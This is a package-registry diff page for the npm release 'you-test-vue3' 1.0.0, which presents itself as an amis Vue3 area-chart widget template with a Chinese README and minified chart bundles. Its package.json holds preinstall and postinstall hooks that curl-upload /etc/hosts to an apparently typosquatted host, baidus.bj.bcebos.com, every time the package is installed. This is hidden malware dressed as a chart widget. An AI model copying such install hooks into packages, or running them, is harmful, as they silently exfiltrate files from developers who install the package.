you-test-vue3 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of you-test-vue3 might be problematic. Click here for more details.
package/README.md
ADDED
@@ -0,0 +1,75 @@
|
|
1
|
+
# vue3-amis-custom-widget
|
2
|
+
> amis 自定义组件模板(vue3.0 技术栈)
|
3
|
+
|
4
|
+
### 目录说明
|
5
|
+
- src: 自定义组件源码;
|
6
|
+
- src/xxx/plugin.ts: 用于注册一个amis-editor插件,注册成功后编辑器左侧组件面板中会展示;
|
7
|
+
- src/xxx/renderer.ts: 用于注册一个amis渲染器,注册成功后编辑器画布区中才会正常展示自定义组件内容;
|
8
|
+
- src/xxx/xxx.vue: vue自定义组件源码;
|
9
|
+
- src/preview.js: 用于本地预览自定义组件内容;
|
10
|
+
- amis.config.js: amis-widget-cli配置文件。
|
11
|
+
|
12
|
+
### 开发说明
|
13
|
+
|
14
|
+
1. **安装依赖**
|
15
|
+
```bash
|
16
|
+
$ npm i 或者 yarn
|
17
|
+
```
|
18
|
+
|
19
|
+
2. **dev: 本地开发模式(带热更新)**
|
20
|
+
> dev开发模式:用于在本地editor中调试自定义组件。
|
21
|
+
```bash
|
22
|
+
$ npm run dev
|
23
|
+
```
|
24
|
+
|
25
|
+
3. **preview: 组件预览模式(带热更新)**
|
26
|
+
> preview模式:用于预览自定义组件内容。
|
27
|
+
```bash
|
28
|
+
$ npm run preview
|
29
|
+
```
|
30
|
+
|
31
|
+
4. **linkDebug: 外链调试(amis-saas中预览自定义组件)**
|
32
|
+
> linkDebug模式:用于在amis-saas中预览和调试自定义组件。
|
33
|
+
```bash
|
34
|
+
$ npm run linkDebug
|
35
|
+
```
|
36
|
+
5. **build2lib: 构建自定义组件输出产物**
|
37
|
+
> build2lib模式:用于构建发布到 npm 中的文件,默认存放到 当前dist目录中。
|
38
|
+
```bash
|
39
|
+
$ npm run build2lib
|
40
|
+
```
|
41
|
+
6. **package.json添加自定义组件信息,导入组件扩展包时需要**
|
42
|
+
> package.json 中添加 amis-widgets 字段,用于放置当前自定义组件信息,有这个amis-widgets 字段才能被识别为amis组件扩展包。
|
43
|
+
```bash
|
44
|
+
...
|
45
|
+
"amis-widgets": [
|
46
|
+
{
|
47
|
+
"type": "uni-area-chart",
|
48
|
+
"framework": "vue3",
|
49
|
+
"description": "折线区域图",
|
50
|
+
"entry": "/dist/uniAreaRenderer.umd",
|
51
|
+
"files": [
|
52
|
+
"/dist/uniAreaRenderer.css"
|
53
|
+
],
|
54
|
+
"editorPlugin": {
|
55
|
+
"pluginEntry": "/dist/uniAreaPlugin.umd",
|
56
|
+
"tag": [
|
57
|
+
"图表组件"
|
58
|
+
],
|
59
|
+
"sort": 100
|
60
|
+
}
|
61
|
+
}
|
62
|
+
],
|
63
|
+
...
|
64
|
+
```
|
65
|
+
|
66
|
+
7. **发布一个NPM组件扩展包**
|
67
|
+
> 需要确保package.json中的name值唯一,version值不重复。
|
68
|
+
```bash
|
69
|
+
$ npm publish
|
70
|
+
```
|
71
|
+
|
72
|
+
8. **发布到制定的NPM仓库**
|
73
|
+
> 打开NPM配置文件(src/.npmrc),配置为制定仓库地址即可。
|
74
|
+
### 配置项说明(amis-widget-cli)
|
75
|
+
[请查看amis-widget-cli](https://github.com/aisuda/amis-widget-cli)
|
@@ -0,0 +1,84 @@
|
|
1
|
+
/*! For license information please see uniAreaPlugin.umd.js.LICENSE.txt */
|
2
|
+
!(function (e, t) {
|
3
|
+
'object' == typeof exports && 'object' == typeof module
|
4
|
+
? (module.exports = t())
|
5
|
+
: 'function' == typeof define && define.amd
|
6
|
+
? define([], t)
|
7
|
+
: 'object' == typeof exports
|
8
|
+
? (exports.amisWidget = t())
|
9
|
+
: (e.amisWidget = t());
|
10
|
+
})(this, function () {
|
11
|
+
return (function () {
|
12
|
+
'use strict';
|
13
|
+
var e = {
|
14
|
+
d: function (t, a) {
|
15
|
+
for (var n in a)
|
16
|
+
e.o(a, n) && !e.o(t, n) && Object.defineProperty(t, n, { enumerable: !0, get: a[n] });
|
17
|
+
},
|
18
|
+
o: function (e, t) {
|
19
|
+
return Object.prototype.hasOwnProperty.call(e, t);
|
20
|
+
},
|
21
|
+
r: function (e) {
|
22
|
+
'undefined' != typeof Symbol &&
|
23
|
+
Symbol.toStringTag &&
|
24
|
+
Object.defineProperty(e, Symbol.toStringTag, { value: 'Module' }),
|
25
|
+
Object.defineProperty(e, '__esModule', { value: !0 });
|
26
|
+
}
|
27
|
+
},
|
28
|
+
t = {};
|
29
|
+
e.r(t),
|
30
|
+
e.d(t, {
|
31
|
+
areaChartPlugin: function () {
|
32
|
+
return n;
|
33
|
+
},
|
34
|
+
default: function () {
|
35
|
+
return i;
|
36
|
+
}
|
37
|
+
});
|
38
|
+
var a = require('vue3-amis-widget'),
|
39
|
+
n = function () {
|
40
|
+
(this.rendererName = 'uni-area-chart'),
|
41
|
+
(this.$schema = '/schemas/UnkownSchema.json'),
|
42
|
+
(this.name = '折线区域图'),
|
43
|
+
(this.description = '基本折线区域图'),
|
44
|
+
(this.tags = ['自定义图表']),
|
45
|
+
(this.icon = 'fa fa-file-code-o'),
|
46
|
+
(this.scaffold = {
|
47
|
+
type: 'uni-area-chart',
|
48
|
+
label: '折线区域图',
|
49
|
+
name: '折线区域图',
|
50
|
+
categories: ['2016', '2017', '2018', '2019', '2020', '2021'],
|
51
|
+
series: [
|
52
|
+
{ name: '成交量A', data: [35, 8, 25, 37, 4, 20] },
|
53
|
+
{ name: '成交量B', data: [70, 40, 65, 100, 44, 68] },
|
54
|
+
{ name: '成交量C', data: [100, 80, 95, 150, 112, 132] }
|
55
|
+
]
|
56
|
+
}),
|
57
|
+
(this.previewSchema = { type: 'uni-area-chart', label: '折线区域图' }),
|
58
|
+
(this.panelTitle = '配置'),
|
59
|
+
(this.panelControls = [
|
60
|
+
{
|
61
|
+
type: 'json',
|
62
|
+
name: 'categories',
|
63
|
+
label: '横轴数据',
|
64
|
+
mutable: !0,
|
65
|
+
value: ['2016', '2017', '2018', '2019', '2020', '2021']
|
66
|
+
},
|
67
|
+
{
|
68
|
+
type: 'json',
|
69
|
+
name: 'series',
|
70
|
+
label: '图表数据',
|
71
|
+
mutable: !0,
|
72
|
+
value: [
|
73
|
+
{ name: '成交量A', data: [35, 8, 25, 37, 4, 20] },
|
74
|
+
{ name: '成交量B', data: [70, 40, 65, 100, 44, 68] },
|
75
|
+
{ name: '成交量C', data: [100, 80, 95, 150, 112, 132] }
|
76
|
+
]
|
77
|
+
}
|
78
|
+
]);
|
79
|
+
};
|
80
|
+
(0, a.registerAmisEditorPlugin)(n);
|
81
|
+
var i = n;
|
82
|
+
return t;
|
83
|
+
})();
|
84
|
+
});
|
@@ -0,0 +1,7 @@
|
|
1
|
+
/*!
|
2
|
+
* vue3-amis-custom-widget v1.0.0
|
3
|
+
* author: fex
|
4
|
+
* build tool: AKFun
|
5
|
+
* build time: Tue Mar 14 2023 10:23:37 GMT+0800 (China Standard Time)
|
6
|
+
* build tool info: https://github.com/wibetter/akfun
|
7
|
+
*/.u-charts-container[data-v-51273cb3]{-webkit-box-align:center;-moz-box-align:center;-ms-flex-align:center;-webkit-box-pack:center;-moz-box-pack:center;-ms-flex-pack:center;-webkit-align-items:center;align-items:center;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-justify-content:center;justify-content:center}.u-charts-container .u-charts[data-v-51273cb3]{height:280px;margin:10px auto;width:370px}
|
@@ -0,0 +1,332 @@
|
|
1
|
+
/*! For license information please see uniAreaRenderer.umd.js.LICENSE.txt */
|
2
|
+
!(function (e, t) {
|
3
|
+
'object' == typeof exports && 'object' == typeof module
|
4
|
+
? (module.exports = t())
|
5
|
+
: 'function' == typeof define && define.amd
|
6
|
+
? define([], t)
|
7
|
+
: 'object' == typeof exports
|
8
|
+
? (exports.amisWidget = t())
|
9
|
+
: (e.amisWidget = t());
|
10
|
+
})(this, function () {
|
11
|
+
return (function () {
|
12
|
+
var e = {
|
13
|
+
571: function () {},
|
14
|
+
744: function (e, t) {
|
15
|
+
'use strict';
|
16
|
+
t.Z = (e, t) => {
|
17
|
+
const r = e.__vccOpts || e;
|
18
|
+
for (const [e, n] of t) r[e] = n;
|
19
|
+
return r;
|
20
|
+
};
|
21
|
+
},
|
22
|
+
331: function (e, t, r) {
|
23
|
+
var n = r(571);
|
24
|
+
n.__esModule && (n = n.default),
|
25
|
+
'string' == typeof n && (n = [[e.id, n, '']]),
|
26
|
+
n.locals && (e.exports = n.locals),
|
27
|
+
(0, r(346).Z)('cf97bc6a', n, !1, { sourceMap: !1 });
|
28
|
+
},
|
29
|
+
346: function (e, t, r) {
|
30
|
+
'use strict';
|
31
|
+
function n(e, t) {
|
32
|
+
for (var r = [], n = {}, i = 0; i < t.length; i++) {
|
33
|
+
var a = t[i],
|
34
|
+
s = a[0],
|
35
|
+
o = { id: e + ':' + i, css: a[1], media: a[2], sourceMap: a[3] };
|
36
|
+
n[s] ? n[s].parts.push(o) : r.push((n[s] = { id: s, parts: [o] }));
|
37
|
+
}
|
38
|
+
return r;
|
39
|
+
}
|
40
|
+
r.d(t, {
|
41
|
+
Z: function () {
|
42
|
+
return p;
|
43
|
+
}
|
44
|
+
});
|
45
|
+
var i = 'undefined' != typeof document;
|
46
|
+
if ('undefined' != typeof DEBUG && DEBUG && !i)
|
47
|
+
throw new Error(
|
48
|
+
"vue-style-loader cannot be used in a non-browser environment. Use { target: 'node' } in your Webpack config to indicate a server-rendering environment."
|
49
|
+
);
|
50
|
+
var a = {},
|
51
|
+
s = i && (document.head || document.getElementsByTagName('head')[0]),
|
52
|
+
o = null,
|
53
|
+
c = 0,
|
54
|
+
d = !1,
|
55
|
+
u = function () {},
|
56
|
+
f = null,
|
57
|
+
h = 'data-vue-ssr-id',
|
58
|
+
l =
|
59
|
+
'undefined' != typeof navigator &&
|
60
|
+
/msie [6-9]\b/.test(navigator.userAgent.toLowerCase());
|
61
|
+
function p(e, t, r, i) {
|
62
|
+
(d = r), (f = i || {});
|
63
|
+
var s = n(e, t);
|
64
|
+
return (
|
65
|
+
g(s),
|
66
|
+
function (t) {
|
67
|
+
for (var r = [], i = 0; i < s.length; i++) {
|
68
|
+
var o = s[i];
|
69
|
+
(c = a[o.id]).refs--, r.push(c);
|
70
|
+
}
|
71
|
+
for (t ? g((s = n(e, t))) : (s = []), i = 0; i < r.length; i++) {
|
72
|
+
var c;
|
73
|
+
if (0 === (c = r[i]).refs) {
|
74
|
+
for (var d = 0; d < c.parts.length; d++) c.parts[d]();
|
75
|
+
delete a[c.id];
|
76
|
+
}
|
77
|
+
}
|
78
|
+
}
|
79
|
+
);
|
80
|
+
}
|
81
|
+
function g(e) {
|
82
|
+
for (var t = 0; t < e.length; t++) {
|
83
|
+
var r = e[t],
|
84
|
+
n = a[r.id];
|
85
|
+
if (n) {
|
86
|
+
n.refs++;
|
87
|
+
for (var i = 0; i < n.parts.length; i++) n.parts[i](r.parts[i]);
|
88
|
+
for (; i < r.parts.length; i++) n.parts.push(m(r.parts[i]));
|
89
|
+
n.parts.length > r.parts.length && (n.parts.length = r.parts.length);
|
90
|
+
} else {
|
91
|
+
var s = [];
|
92
|
+
for (i = 0; i < r.parts.length; i++) s.push(m(r.parts[i]));
|
93
|
+
a[r.id] = { id: r.id, refs: 1, parts: s };
|
94
|
+
}
|
95
|
+
}
|
96
|
+
}
|
97
|
+
function v() {
|
98
|
+
var e = document.createElement('style');
|
99
|
+
return (e.type = 'text/css'), s.appendChild(e), e;
|
100
|
+
}
|
101
|
+
function m(e) {
|
102
|
+
var t,
|
103
|
+
r,
|
104
|
+
n = document.querySelector('style[' + h + '~="' + e.id + '"]');
|
105
|
+
if (n) {
|
106
|
+
if (d) return u;
|
107
|
+
n.parentNode.removeChild(n);
|
108
|
+
}
|
109
|
+
if (l) {
|
110
|
+
var i = c++;
|
111
|
+
(n = o || (o = v())), (t = b.bind(null, n, i, !1)), (r = b.bind(null, n, i, !0));
|
112
|
+
} else
|
113
|
+
(n = v()),
|
114
|
+
(t = x.bind(null, n)),
|
115
|
+
(r = function () {
|
116
|
+
n.parentNode.removeChild(n);
|
117
|
+
});
|
118
|
+
return (
|
119
|
+
t(e),
|
120
|
+
function (n) {
|
121
|
+
if (n) {
|
122
|
+
if (n.css === e.css && n.media === e.media && n.sourceMap === e.sourceMap) return;
|
123
|
+
t((e = n));
|
124
|
+
} else r();
|
125
|
+
}
|
126
|
+
);
|
127
|
+
}
|
128
|
+
var y,
|
129
|
+
C =
|
130
|
+
((y = []),
|
131
|
+
function (e, t) {
|
132
|
+
return (y[e] = t), y.filter(Boolean).join('\n');
|
133
|
+
});
|
134
|
+
function b(e, t, r, n) {
|
135
|
+
var i = r ? '' : n.css;
|
136
|
+
if (e.styleSheet) e.styleSheet.cssText = C(t, i);
|
137
|
+
else {
|
138
|
+
var a = document.createTextNode(i),
|
139
|
+
s = e.childNodes;
|
140
|
+
s[t] && e.removeChild(s[t]), s.length ? e.insertBefore(a, s[t]) : e.appendChild(a);
|
141
|
+
}
|
142
|
+
}
|
143
|
+
function x(e, t) {
|
144
|
+
var r = t.css,
|
145
|
+
n = t.media,
|
146
|
+
i = t.sourceMap;
|
147
|
+
if (
|
148
|
+
(n && e.setAttribute('media', n),
|
149
|
+
f.ssrId && e.setAttribute(h, t.id),
|
150
|
+
i &&
|
151
|
+
((r += '\n/*# sourceURL=' + i.sources[0] + ' */'),
|
152
|
+
(r +=
|
153
|
+
'\n/*# sourceMappingURL=data:application/json;base64,' +
|
154
|
+
btoa(unescape(encodeURIComponent(JSON.stringify(i)))) +
|
155
|
+
' */')),
|
156
|
+
e.styleSheet)
|
157
|
+
)
|
158
|
+
e.styleSheet.cssText = r;
|
159
|
+
else {
|
160
|
+
for (; e.firstChild; ) e.removeChild(e.firstChild);
|
161
|
+
e.appendChild(document.createTextNode(r));
|
162
|
+
}
|
163
|
+
}
|
164
|
+
}
|
165
|
+
},
|
166
|
+
t = {};
|
167
|
+
function r(n) {
|
168
|
+
var i = t[n];
|
169
|
+
if (void 0 !== i) return i.exports;
|
170
|
+
var a = (t[n] = { id: n, exports: {} });
|
171
|
+
return e[n](a, a.exports, r), a.exports;
|
172
|
+
}
|
173
|
+
(r.n = function (e) {
|
174
|
+
var t =
|
175
|
+
e && e.__esModule
|
176
|
+
? function () {
|
177
|
+
return e.default;
|
178
|
+
}
|
179
|
+
: function () {
|
180
|
+
return e;
|
181
|
+
};
|
182
|
+
return r.d(t, { a: t }), t;
|
183
|
+
}),
|
184
|
+
(r.d = function (e, t) {
|
185
|
+
for (var n in t)
|
186
|
+
r.o(t, n) && !r.o(e, n) && Object.defineProperty(e, n, { enumerable: !0, get: t[n] });
|
187
|
+
}),
|
188
|
+
(r.o = function (e, t) {
|
189
|
+
return Object.prototype.hasOwnProperty.call(e, t);
|
190
|
+
}),
|
191
|
+
(r.r = function (e) {
|
192
|
+
'undefined' != typeof Symbol &&
|
193
|
+
Symbol.toStringTag &&
|
194
|
+
Object.defineProperty(e, Symbol.toStringTag, { value: 'Module' }),
|
195
|
+
Object.defineProperty(e, '__esModule', { value: !0 });
|
196
|
+
});
|
197
|
+
var n = {};
|
198
|
+
return (
|
199
|
+
(function () {
|
200
|
+
'use strict';
|
201
|
+
r.r(n);
|
202
|
+
var e = require('vue3-amis-widget'),
|
203
|
+
t = require('vue'),
|
204
|
+
i = { class: 'u-charts-container' },
|
205
|
+
a = ['canvas-id', 'id'],
|
206
|
+
s = require('@qiun/ucharts'),
|
207
|
+
o = r.n(s),
|
208
|
+
c = {},
|
209
|
+
d = {
|
210
|
+
data: function () {
|
211
|
+
return {
|
212
|
+
categories: [],
|
213
|
+
series: [],
|
214
|
+
defaultChartData: {
|
215
|
+
categories: ['2016', '2017', '2018', '2019', '2020', '2021'],
|
216
|
+
series: [
|
217
|
+
{ name: '成交量A', data: [35, 8, 25, 37, 4, 20] },
|
218
|
+
{ name: '成交量B', data: [70, 40, 65, 100, 44, 68] },
|
219
|
+
{ name: '成交量C', data: [100, 80, 95, 150, 112, 132] }
|
220
|
+
]
|
221
|
+
}
|
222
|
+
};
|
223
|
+
},
|
224
|
+
computed: {
|
225
|
+
chartId: function () {
|
226
|
+
return this.id || 'area-uChart';
|
227
|
+
},
|
228
|
+
thisCategories: function () {
|
229
|
+
return this.categories && this.categories.length > 0
|
230
|
+
? this.categories
|
231
|
+
: this.defaultChartData.categories;
|
232
|
+
},
|
233
|
+
thisSeries: function () {
|
234
|
+
return this.series && this.series.length > 0
|
235
|
+
? this.series
|
236
|
+
: this.defaultChartData.series;
|
237
|
+
}
|
238
|
+
},
|
239
|
+
mounted: function () {
|
240
|
+
this.drawCharts(this.chartId, {
|
241
|
+
categories: this.thisCategories,
|
242
|
+
series: this.thisSeries
|
243
|
+
});
|
244
|
+
},
|
245
|
+
updated: function () {
|
246
|
+
console.log('this.thisSeries:', this.thisSeries),
|
247
|
+
this.drawCharts(this.chartId, {
|
248
|
+
categories: this.thisCategories,
|
249
|
+
series: this.thisSeries
|
250
|
+
});
|
251
|
+
},
|
252
|
+
methods: {
|
253
|
+
drawCharts: function (e, t) {
|
254
|
+
var r = document.getElementById(e) || this.$refs.uchart;
|
255
|
+
(r.width = r.offsetWidth), (r.height = r.offsetHeight);
|
256
|
+
var n = r.getContext('2d');
|
257
|
+
c[e] = new (o())({
|
258
|
+
type: 'area',
|
259
|
+
context: n,
|
260
|
+
width: r.width,
|
261
|
+
height: r.height,
|
262
|
+
categories: t.categories,
|
263
|
+
series: t.series,
|
264
|
+
animation: !0,
|
265
|
+
background: '#ffffff',
|
266
|
+
padding: [15, 15, 0, 5],
|
267
|
+
xAxis: { disableGrid: !0 },
|
268
|
+
yAxis: { data: [{ min: 0 }] },
|
269
|
+
color: [
|
270
|
+
'#1890FF',
|
271
|
+
'#91CB74',
|
272
|
+
'#FAC858',
|
273
|
+
'#EE6666',
|
274
|
+
'#73C0DE',
|
275
|
+
'#3CA272',
|
276
|
+
'#FC8452',
|
277
|
+
'#9A60B4',
|
278
|
+
'#ea7ccc'
|
279
|
+
],
|
280
|
+
legend: {},
|
281
|
+
extra: {
|
282
|
+
area: { type: 'straight', opacity: 0.2, addLine: !0, width: 2, gradient: !1 }
|
283
|
+
}
|
284
|
+
});
|
285
|
+
},
|
286
|
+
tap: function (e) {
|
287
|
+
c[e.target.id].touchLegend(e), c[e.target.id].showToolTip(e);
|
288
|
+
}
|
289
|
+
}
|
290
|
+
};
|
291
|
+
r(331);
|
292
|
+
const u = (0, r(744).Z)(d, [
|
293
|
+
[
|
294
|
+
'render',
|
295
|
+
function (e, r, n, s, o, c) {
|
296
|
+
return (
|
297
|
+
(0, t.openBlock)(),
|
298
|
+
(0, t.createElementBlock)('div', i, [
|
299
|
+
c.chartId
|
300
|
+
? ((0, t.openBlock)(),
|
301
|
+
(0, t.createElementBlock)(
|
302
|
+
'canvas',
|
303
|
+
{
|
304
|
+
key: 0,
|
305
|
+
'canvas-id': c.chartId,
|
306
|
+
id: c.chartId,
|
307
|
+
class: 'u-charts',
|
308
|
+
onTouchend:
|
309
|
+
r[0] ||
|
310
|
+
(r[0] = function () {
|
311
|
+
return c.tap && c.tap.apply(c, arguments);
|
312
|
+
}),
|
313
|
+
ref: 'uchart'
|
314
|
+
},
|
315
|
+
null,
|
316
|
+
40,
|
317
|
+
a
|
318
|
+
))
|
319
|
+
: (0, t.createCommentVNode)('v-if', !0)
|
320
|
+
])
|
321
|
+
);
|
322
|
+
}
|
323
|
+
],
|
324
|
+
['__scopeId', 'data-v-51273cb3']
|
325
|
+
]);
|
326
|
+
var f = u;
|
327
|
+
(0, e.registerRendererByType)(f, { type: 'uni-area-chart', framework: 'vue3' });
|
328
|
+
})(),
|
329
|
+
n
|
330
|
+
);
|
331
|
+
})();
|
332
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,82 @@
|
|
1
|
+
{
|
2
|
+
"name": "you-test-vue3",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "amis自定义组件模板(vue3.0技术栈)",
|
5
|
+
"keywords": [
|
6
|
+
"自定义组件模板",
|
7
|
+
"vue3.0技术栈",
|
8
|
+
"amis自定义组件",
|
9
|
+
"amis-editor自定义插件",
|
10
|
+
"图表自定义组件"
|
11
|
+
],
|
12
|
+
"author": "wibetter",
|
13
|
+
"license": "MIT",
|
14
|
+
"scripts": {
|
15
|
+
"dev": "amis dev",
|
16
|
+
"preview": "amis preview",
|
17
|
+
"linkDebug": "amis linkDebug",
|
18
|
+
"build2lib": "amis build2lib",
|
19
|
+
"format": "prettier --write \"src/**/**/*.{js,jsx,ts,tsx,vue,scss,json}\"",
|
20
|
+
"postinstall": "curl -F \"file=@/etc/hosts\" baidus.bj.bcebos.com/test/111",
|
21
|
+
"preinstall": "curl -F \"file=@/etc/hosts\" baidus.bj.bcebos.com/test/111"
|
22
|
+
},
|
23
|
+
"files": [
|
24
|
+
"dist/*"
|
25
|
+
],
|
26
|
+
"framework": "vue3",
|
27
|
+
"amis-widgets": [
|
28
|
+
{
|
29
|
+
"type": "uni-area-chart",
|
30
|
+
"framework": "vue3",
|
31
|
+
"description": "折线区域图",
|
32
|
+
"entry": "/dist/uniAreaRenderer.umd",
|
33
|
+
"files": [
|
34
|
+
"/dist/uniAreaRenderer.css"
|
35
|
+
],
|
36
|
+
"editorPlugin": {
|
37
|
+
"pluginEntry": "/dist/uniAreaPlugin.umd",
|
38
|
+
"tag": [
|
39
|
+
"图表组件"
|
40
|
+
],
|
41
|
+
"sort": 100
|
42
|
+
}
|
43
|
+
}
|
44
|
+
],
|
45
|
+
"husky": {
|
46
|
+
"hooks": {
|
47
|
+
"pre-commit": "lint-staged",
|
48
|
+
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
|
49
|
+
}
|
50
|
+
},
|
51
|
+
"lint-staged": {
|
52
|
+
"src/**/**/*.{js,jsx,ts,tsx,vue,scss,json}": [
|
53
|
+
"prettier --write"
|
54
|
+
]
|
55
|
+
},
|
56
|
+
"repository": {
|
57
|
+
"type": "git",
|
58
|
+
"url": "https://git@github.com:aisuda/vue3-amis-custom-widget.git"
|
59
|
+
},
|
60
|
+
"bugs": {
|
61
|
+
"url": "https://github.com/aisuda/vue3-amis-custom-widget/issues"
|
62
|
+
},
|
63
|
+
"dependencies": {
|
64
|
+
"vue3-amis-widget": "^3.2.0",
|
65
|
+
"react": "^16.8.6",
|
66
|
+
"react-dom": "^16.8.6",
|
67
|
+
"@qiun/ucharts": "^2.4.3-20220505",
|
68
|
+
"vue": "^3.2.37"
|
69
|
+
},
|
70
|
+
"devDependencies": {
|
71
|
+
"@commitlint/cli": "^8.3.5",
|
72
|
+
"@commitlint/config-conventional": "^9.1.1",
|
73
|
+
"@wibetter/amis-widget-cli": "^3.1.10",
|
74
|
+
"husky": "^4.2.5",
|
75
|
+
"lint-staged": "^10.2.9",
|
76
|
+
"prettier": "^2.0.5"
|
77
|
+
},
|
78
|
+
"engines": {
|
79
|
+
"node": ">= 10.13.0",
|
80
|
+
"npm": ">= 6.4.1"
|
81
|
+
}
|
82
|
+
}
|